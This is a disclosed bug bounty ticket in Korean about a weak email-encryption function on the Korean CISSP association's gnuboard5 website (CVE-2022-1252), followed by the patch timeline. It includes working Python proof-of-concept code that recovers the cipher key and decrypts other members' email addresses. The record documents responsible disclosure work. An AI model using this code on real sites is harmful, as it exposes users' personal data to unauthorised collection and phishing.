1 day 취약점으로 인해 허가되지 않은 사용자에게 개인 정보 유출

Writer s3un9s00n Program 한국CISSP협회 대표홈페이지

WEB Resolved Low 30,000 Created: Sep 5, 2022 (2 years ago) Last Updated: Nov 23, 2022 (a year ago)

Weakness

정보 유출 - 패치되지 않은 취약점

Description

개요

https://isc2chapter.kr/bbs/new.php 에서 사용자의 아이디 검색을 통해 메일 보내기를 했을 때 email 파라미터의 암호화가 안전하지 않아 사용자의 email이 유출된다.

재현 과정

Description

  1. 비 로그인 상태에서 https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=0 접속하면 아이디 검색을 통해 유저의 글을 확인 할 수 있다.

Description

  1. 메일 보내기를 누를 시 https://isc2chapter.kr/bbs/formmail.php?mb_id=aassdd&name=aassdd&email=lZGrqMjJccbDq9edymGUltfZnJg= (test 계정)의 email이 암호화되어 나오는데 취약한 암호화 함수가 사용되고 있어서 내 메일과 암호화된 값을 통해 Key를 알아 낼 수 있다. 알아낸 키로 다른 사용자의 암호화된 메일을 복호화 할 수 있다.

  2. 로그인도 하지 않은 허가되지 않은 사용자가 다른 사용자의 개인 메일을 수집할 수 있게 된다.

예상되는 취약점 발생 원인

email을 암호화화 하는 함수가 보안에 취약한 로직을 사용해서 발생한다.
또한 cve가 발표됐음에도 패치를 하지 않기 때문에 취약점이 발생한다.

패치 방법

비로그인 사용자는 https://isc2chapter.kr/bbs/formmail.php 과 같은 페이지에 접근했을 때 403를 반환해주게한다.
타 암호화 로직을 적용한다.
또는 사용하지 않는 기능처럼 보이기 때문에 프론트 엔드로 넘어오는 메일들을 주석처리한다.

예상 결과 및 파급력

사용자의 메일 정보를 모두 수집할 수 있으니 개인 정보 유출 문제와,
해당 사이트 이용자들에게 관련된 악성 이메일을 보내 2차 피해를 유발할 수 있다.

기타사항 및 레퍼런스

https://www.cvedetails.com/cve/CVE-2022-1252/
https://0g.vc/posts/insecure-cipher-gnuboard5/ 관련 POC
Description
시연 이미지

Attachment

Timeline

s3un9s00n submitted ticket. September 5, 2022 (2 years ago)
Steve BUGCAMP STAFF changed the status from 'Submitted' to 'Need more info'. September 5, 2022 (2 years ago)
Steve BUGCAMP STAFF posted a comment. September 5, 2022 (2 years ago)

버그캠프 “한국CISSP협회 대표홈페이지” 프로그램에 참여해주셔서 감사드립니다.
해당 프로그램은 취약점 개념 증명 코드를 제보시 포함해달라고 명시되어있습니다.

보상에서 제외하는 경우

  • 취약점 개념 증명 코드를 포함하지 않은 경우

티켓 내용 또는 코멘트에 개념 증명 코드를 추가해주실 수 있나요??

s3un9s00n posted a comment. September 5, 2022 (2 years ago)

취약한 부분이 발생하는 함수는 다음과 같습니다.
이메일을 암호화하여 프론트 엔드에 보낼때 다음과 같은 로직 처리가 됩니다.
char에는 메일이 한글자씩 들어가고 keychar은 salt 특정 부분값이 들어갑니다
후에 char과 keychar 값을 더한 값으로 암호문을 만듭니다.
return 직전에 base64 인코딩을 해주고 +/= 문자를 각각 ._- 로 치환해줍니다.

 function encrypt($str)
    {
        $length = strlen($str);
        $result = '';

        for($i=0; $i<$length; $i++) {
            $char    = substr($str, $i, 1);
            $keychar = substr($this->salt, ($i % $this->length) - 1, 1);
            $char    = chr(ord($char) + ord($keychar));
            $result .= $char;
        }

        return strtr(base64_encode($result) , '+/=', '._-');
    }

따라서 PoC 코드는 다음과 같습니다.
본인의 평문 메일과 암호화된 메일을 역연산해주면 keychar을 얻을 수 있습니다.

#PoC_1 get key 
def get_key(encoded,decoded):
    bytes_encoded = base64.b64decode(encoded.replace('.', '+').replace('_', '/').replace('-', '='))
    bytes_decoded = bytearray(decoded,"utf-8")
    i = 0
    output = ""
    for b in bytes_encoded:
        output += chr(b-bytes_decoded[i])
        i += 1
    return output

이후 얻은 키로 다른 사용자의 암호화된 이메일을 복호화 합니다

#PoC_2 decoding encrypted email
def decode_email(encoded):
    encoded = encoded.replace('.', '+').replace('_', '/').replace('-', '=')
    encoded_bytes = base64.b64decode(encoded)
    output = ""
    i = 0
    for b in encoded_bytes:
        output += chr(b - ord(key[i]))
        i += 1
        if i == len(key):
            i = 0
    return output
s3un9s00n posted a comment. September 6, 2022 (2 years ago)

티켓 수정은 안되는거죠?

Steve BUGCAMP STAFF posted a comment. September 6, 2022 (2 years ago)

전달해 주신 정보를 통해 취약점 발생 여부를 확인 중 입니다.
확인 완료 후 티켓을 처리하도록 하겠습니다.

s3un9s00n posted a comment. September 17, 2022 (2 years ago)

안녕하세요 추가적인 업데이트가 없나요?

Steve BUGCAMP STAFF posted a comment. September 19, 2022 (2 years ago)

제보해주신 취약점이 확인되었습니다. 패치 절차가 진행될 예정이며, 패치는 담당자의 일정에 따라 지연될 수 있습니다.

Steve BUGCAMP STAFF changed the status from 'Need more info' to 'In Progress'. September 19, 2022 (2 years ago)
Steve BUGCAMP STAFF posted a comment. October 20, 2022 (2 years ago)

제보해주신 취약점이 패치되었습니다.
올바르게 패치가 진행되었는지 확인 부탁드립니다.

s3un9s00n posted a comment. October 20, 2022 (2 years ago)

https://isc2chapter.kr/bbs/new.php에서 메일 보내기 및 메일의 암호화된 값을 프론트엔드에 뿌려주는 부분을 패치하신것 같아 보입니다.
https://isc2chapter.kr/bbs/new.php 에서는 해당 내용이 패치됐으나,
https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=0&page=3 또는 https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=aaawww 등 인자를 넘겨주고 받는 response에는 메일 보내기 및 암호화된 값이 프론트엔드에 노출되며 마찬가지로 복호화 또한 가능합니다. 확인부탁드립니다.

Steve BUGCAMP STAFF posted a comment. October 24, 2022 (2 years ago)

전달주신 URL에서는 메일 주소가 확인되지 않습니다.
혹시 로그인을 진행한 상황에서 응답 값을 확인한 건가요??

s3un9s00n posted a comment. October 24, 2022 (2 years ago)

로그인을 진행한 상황에서 확인하였습니다.
Description

s3un9s00n posted a comment. October 27, 2022 (a year ago)

해당 내용 확인 되셨나요?

Steve BUGCAMP STAFF posted a comment. October 28, 2022 (a year ago)

네 해당 내용 확인하여 패치 진행중입니다.

Steve BUGCAMP STAFF posted a comment. October 28, 2022 (a year ago)

추가 패치가 완료되어 확인 부탁드립니다.

s3un9s00n posted a comment. October 28, 2022 (a year ago)

확인해본 결과 여전히 메일보내기 및 암호화된 email 값이 프론트엔드에 노출됩니다.
Description

Steve BUGCAMP STAFF posted a comment. October 28, 2022 (a year ago)

혹시 엘범게시판에 본인이 등록한 글인가요??
제 화면에서는 정상 패치된 것으로 보입니다.

s3un9s00n posted a comment. October 28, 2022 (a year ago)

아 본인이 등록한 글이었습니다.
정상 패치 된것으로 보입니다.

Steve BUGCAMP STAFF posted a comment. October 28, 2022 (a year ago)

네 감사합니다.
정상패치 확인되어 리워드 프로세스가 진행될 예정입니다.

Steve BUGCAMP STAFF changed the severity from 'Medium' to 'Low'. October 31, 2022 (a year ago)
Steve BUGCAMP STAFF posted a comment. October 31, 2022 (a year ago)

해당 취약점의 파급력을 고려하여 위험도가 변경되었습니다.

Steve BUGCAMP STAFF rewarded 30,000 credit. October 31, 2022 (a year ago)
Steve BUGCAMP STAFF posted a comment. November 1, 2022 (a year ago)

보상 프로세스가 완료되어 티켓이 종료되 예정입니다.
한국CISSP협회 대표홈페이지 프로그램에 제보해주셔서 감사합니다.

Steve BUGCAMP STAFF changed the status from 'In Progress' to 'Resolved'. November 7, 2022 (a year ago)
Steve BUGCAMP STAFF changed the disclosure from 'Closed' to 'Disclosed (Full)'. November 7, 2022 (a year ago)
s3un9s00n posted a comment. November 23, 2022 (a year ago)

패치 우회를 발견하면 추가 보고서를 작성해야하나요